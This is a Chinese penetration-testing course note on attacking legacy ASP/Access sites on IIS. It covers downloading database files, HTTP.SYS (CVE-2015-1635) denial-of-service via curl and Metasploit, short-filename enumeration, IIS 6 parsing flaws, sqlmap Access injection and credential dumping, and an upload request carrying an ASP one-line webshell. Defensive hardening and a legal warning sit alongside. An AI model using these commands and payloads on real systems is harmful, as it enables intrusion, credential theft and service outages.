【小迪安全41天】WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

1. 核心概念区(Knowledge Base)

  • ASP (Active Server Pages) :微软早期的服务器端脚本技术,通常与Access数据库组合使用。在红队攻击 中,由于其架构特性和默认配置,容易导致数据库文件直接下载、文件解析漏洞等风险;在蓝队防御中,应当避免使用或进行严格的安全配置加固。

  • Access数据库 :无需连接认证的轻量级数据库,直接通过文件路径访问。在红队攻击 中,由于其文件通常存放在Web目录且无密码保护,可直接通过URL下载获取敏感数据;在蓝队防御中应禁止将数据库文件放置在Web可访问路径,并使用更安全的数据库系统替代。

  • HTTP.SYS漏洞 (CVE-2015-1635) :Windows内核HTTP协议栈远程代码执行漏洞。在红队攻击 中可导致系统蓝屏重启,用于拒绝服务攻击;在蓝队防御中需及时安装系统补丁,该漏洞影响Windows 7至Windows Server 2012。

  • IIS短文件漏洞 :IIS服务器因Windows 8.3格式短文件命名规则导致的信息泄露漏洞。在红队攻击 中可用于枚举服务器上的敏感文件和目录(仅能探测前6位字符);在蓝队防御 中可通过修改注册表禁用短文件名功能:fsutil behavior set disable8dot3 1

  • IIS文件解析漏洞 :IIS 6.0和部分7.x版本中存在的文件解析逻辑错误。在红队攻击 中,特定命名的文件会被IIS错误解析为可执行脚本;在蓝队防御中应升级IIS版本或应用官方补丁,配置严格的MIME类型验证。

  • Access注入 :针对Access数据库的SQL注入攻击。在红队攻击 中,与传统SQL注入不同,需要依靠字典爆破猜测表名和字段名;在蓝队防御中应对用户输入进行严格过滤,使用参数化查询方式。

  • 容错页面 :应用程序对异常情况的统一处理页面。在红队攻击 中容易被误认为SQL注入点;在蓝队防御中,设计合理的错误处理机制,避免在页面中泄露技术细节,同时确保不会将用户输入直接带入数据库查询。

2. 详细知识点

2.1 ASP应用与Access数据库安全问题

2.1.1 默认搭建的安全隐患
  • 架构特点

    • Access数据库无需设置连接账号密码
    • 数据库路径已在脚本中硬编码
    • 无需安装配置,直接放置源码即可运行
    • 数据库文件通常存放于Web目录下
  • 典型数据库路径

    文本

    编辑

    复制代码
    1/database/#data.mdb
    2/data/pomelo206.mdb
  • 风险分析:攻击者可直接通过URL下载数据库文件,无需任何认证:

    文本

    编辑

    复制代码
    1http://target.com/database/%23data.mdb

    #在URL中需编码为%23

2.1.2 数据库文件下载与利用
  1. 获取数据库文件

    • 通过目录扫描或路径猜测定位数据库文件
    • 使用浏览器或下载工具直接下载
  2. 打开与分析

    • 使用Microsoft Access或第三方工具打开
    • 分析表结构,特别是admin/user相关表
    • 提取账号密码数据(通常为MD5/简单加密)
  3. 密码破解

    • 识别密码加密类型(16/32位MD5等)
    • 使用在线解密平台或字典破解
    • 示例:16位MD5 "e10adc3949ba59ab" 可解密为 "123456"

2.2 IIS服务器漏洞

2.2.1 HTTP.SYS漏洞 (CVE-2015-1635)
  • 影响范围:Windows 7 至 Windows Server 2012

  • 漏洞特性

    • 非权限获取型漏洞,主要用于拒绝服务
    • 成功利用会导致系统蓝屏重启
    • 无需系统登录凭证
  • 检测方法

    bash

    编辑

    复制代码
    1curl -H "Range: bytes=0-18446744073709551615" http://target.com/
    • 返回416错误状态码表明可能存在漏洞
  • Metasploit利用

    bash

    编辑

    复制代码
    1use auxiliary/dos/http/ms15_034_ulonglongadd
    2set RHOSTS 192.168.x.x
    3set RPORT 80
    4run

    警告:此攻击具有破坏性,可能导致目标系统重启,应谨慎使用

2.2.2 IIS短文件漏洞
  • 漏洞原理:Windows 8.3格式短文件名规则,将长文件名转换为前6字符+~1格式

  • 检测工具

    1. IIS-Shortname-Scanner (Java版) :bash

      编辑

      复制代码
      1java -jar IIS_shortname_scanner.jar http://target.com/
    2. iis_shortname_scanner (Python版) :bash

      编辑

      复制代码
      1python scanner.py http://target.com/
  • 结果解读

    文本

    编辑

    复制代码
    1[+] Directory: /PROGRA~1/
    2[+] File: WEB.CFG
    • 实际目录可能为"Program Files"
    • 需手动猜测完整名称(前6位已知)
2.2.3 IIS文件解析漏洞
  • 适用版本:主要存在于IIS 6.0,少量IIS 7.0/7.5未打补丁版本

  • 漏洞类型

    1. 分号后缀型shell.asp;.jpg
    2. 文件夹型/shell.asp/1.jpg
  • 验证方法

    1. 上传一个正常图片文件(如1.jpg)
    2. 重命名并重新上传:1.asp;.jpg
    3. 访问该URL,若能执行脚本代码则存在漏洞
  • 利用限制

    • IIS 6.0:官方未认定为漏洞,无官方补丁
    • IIS 7.0+:有官方补丁,漏洞较少见

2.3 Access注入与数据提取

2.3.1 Access注入特点
  • 与MySQL注入区别

    • 不支持注释符(#, --)和多语句查询
    • 无information_schema系统表
    • 需通过字典爆破猜解表名和字段名
  • 漏洞原理:用户输入未经过滤直接拼接到SQL查询语句中

    asp

    编辑

    复制代码
    1' 漏洞代码示例
    2classid = Request.QueryString("classid")
    3sql = "select * from product where classid=" & classid
2.3.2 sqlmap工具使用
  • 基础命令

    bash

    编辑

    复制代码
    1sqlmap -u "http://target.com/news.asp?classid=3" --dbms=ACCESS
  • 猜解表名

    bash

    编辑

    复制代码
    1sqlmap -u "http://target.com/news.asp?classid=3" --tables
    2# 需要选择使用内置字典
  • 猜解列名

    bash

    编辑

    复制代码
    1sqlmap -u "http://target.com/news.asp?classid=3" -T admin --columns
  • 获取数据

    bash

    编辑

    复制代码
    1sqlmap -u "http://target.com/news.asp?classid=3" -T admin -C "username,password" --dump
  • 注意事项

    • Access注入成功率低于MySQL
    • 依赖字典质量,复杂表名可能猜不出
    • 需要耐心等待字典爆破完成

2.4 后台发现与文件上传绕过

2.4.1 后台路径发现方法
  1. 短文件漏洞探测

    • 使用短文件工具探测前6位字符
    • 常见后台目录:/manage~1/, /admini~1/
  2. 目录扫描

    • 选择ASP专用字典
    • 关注状态码:200(存在)、403(禁止访问)、302(重定向)
  3. 爬虫分析

    • 通过爬取网站链接发现隐藏路径
    • 分析源码中的路径引用
    • 示例:<a href="/admin/index.asp">管理入口</a>
2.4.2 文件上传绕过技术
  • 配合解析漏洞

    1. 上传正常图片获取路径
    2. 修改文件名为解析漏洞格式
    3. 访问并执行Webshell
  • 请求包修改示例

    文本

    编辑

    复制代码
    1POST /upload.asp HTTP/1.1
    2Host: target.com
    3Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
    4
    5------WebKitFormBoundaryABC123
    6Content-Disposition: form-data; name="file"; filename="1.asp;.png"
    7Content-Type: image/png
    8
    9<%eval request("cmd")%>
    10[图片二进制数据]
    11------WebKitFormBoundaryABC123--
  • 路径拼接技巧

    • 观察上传后返回的路径
    • 在文件名前添加路径字符:/1.asp;.png
    • 利用服务器路径拼接特性触发漏洞

3. 攻防视角

3.1 攻击面

  • ASP+Access完整攻击链

    1. 识别目标技术栈(ASP+Access)
    2. 探测并下载默认数据库路径
    3. 解析数据库获取管理员账号密码
    4. 通过短文件漏洞/目录扫描发现后台
    5. 登录后台管理系统
    6. 利用文件上传功能+解析漏洞获取Webshell
    7. 提权获取服务器控制权
  • IIS漏洞组合攻击

    1. 识别IIS版本
    2. 检测HTTP.SYS漏洞(可选,用于拒绝服务)
    3. 利用短文件漏洞探测敏感路径
    4. 验证文件解析漏洞
    5. 构造符合规则的Webshell文件名
    6. 上传并访问获取服务器权限
  • Access注入攻击流程

    1. 识别可能的注入点(参数、表单)
    2. 验证注入可能性(添加特殊字符观察错误)
    3. 使用sqlmap进行自动化猜解
    4. 优先爆破管理员相关表名(admin、user)
    5. 获取账号密码后尝试登录后台
    6. 结合其他漏洞提升权限

3.2 防御面

  • 架构层面

    • 避免使用ASP+Access组合:迁移到PHP+MySQL或ASP.NET+SQL Server
    • 数据库隔离:将数据库文件移出Web目录,使用专用数据库服务器
    • 随机化文件名:使用复杂、随机的数据库文件名,避免默认命名
  • IIS加固

    • 及时更新补丁:特别是与HTTP.SYS、文件解析相关的安全补丁

    • 禁用短文件名 :文本

      编辑

      复制代码
      1fsutil behavior set disable8dot3 1
    • MIME类型限制:只允许必要的文件类型,严格验证上传文件

  • 输入验证

    • 参数过滤:对所有用户输入进行严格的白名单验证
    • 参数化查询:避免SQL拼接,使用参数化查询方式
    • WAF部署:部署Web应用防火墙,拦截常见攻击模式
  • 文件上传防护

    • 双重验证:同时检查文件扩展名和内容类型
    • 文件重命名:上传后重命名文件,移除特殊字符
    • 目录权限:上传目录设置为不可执行
    • 独立存储:上传文件存储在独立域名或服务器上

4. 避坑指南

  1. HTTP.SYS漏洞使用风险

    • 该漏洞具有破坏性,会导致目标系统重启
    • 在渗透测试中必须事先获得书面授权
    • 可能涉及法律风险,《刑法》第286条"破坏计算机信息系统罪"
  2. 容错页面误判

    • 区分真伪注入点:容错页面是程序主动返回的,而注入错误是数据库查询产生的
    • 验证技巧:真正的注入点会将用户输入带入数据库查询,而容错页面只是代码逻辑判断
    • 案例分析:百度等大型网站的404页面是容错处理,不等于存在注入漏洞
  3. ASP+Access架构陷阱

    • 多处路径引用:修改数据库文件名时,需同步更新所有引用该路径的代码文件
    • 配置文件遗漏:除了主配置文件,还需检查其他可能包含路径定义的文件
    • 路径编码问题:特殊字符(如#)在URL中需进行编码,否则访问会失败
  4. Access注入限制

    • 字典局限性:内置字典可能无法覆盖复杂表名
    • 字段名猜测:即使获得表名,字段名猜测可能失败
    • 备选方案:当Access注入失败时,应尝试其他攻击路径,如文件包含、文件下载等
  5. 文件解析漏洞适用范围

    • IIS 6.0普遍性:几乎100%的IIS 6.0都存在此漏洞
    • 现代系统罕见:IIS 7.0+已修复大部分解析漏洞
    • 实际环境限制:现代Web应用很少使用IIS 6.0,ASP应用也已大量淘汰

课程重点 :本文内容主要针对老旧系统和架构,实际安全工作中ASP+Access组合已较少见。学习重点在于理解漏洞原理和攻击思路,而非具体技术细节。后续课程将重点讲解PHP、Java等主流技术栈的安全问题。

相关推荐
A923A2 小时前
【从零开始学 React | 第一章】React 基础与 JSX 核心语法
前端·react.js·前端框架·jsx
农夫山泉不太甜2 小时前
package.json 字段详解:Node.js 项目的核心配置文件完全指南
前端
Melrose2 小时前
移动端安全攻防
android·前端·安全
大萝卜呼呼2 小时前
Next.js第八课 - 缓存机制
前端·next.js
不想说话的麋鹿2 小时前
「性能优化」《从10秒到100ms:大文件上传极致优化实战(切片/秒传/断点续传全方案)》
前端·vue.js·性能优化
梵得儿SHI2 小时前
Vue 3 工程化实战:Axios 高阶封装与样式解决方案深度指南
前端·javascript·vue3·axios·样式解决方案·api请求管理·统一请求处理
烈风2 小时前
01_Tauri环境搭建
开发语言·前端·后端
暗不需求2 小时前
深入 JavaScript 核心:用原生 JavaScript 打造就地编辑组件
前端·javascript
一只叁木Meow2 小时前
Vite+:前端开发的"超级管家"来了
前端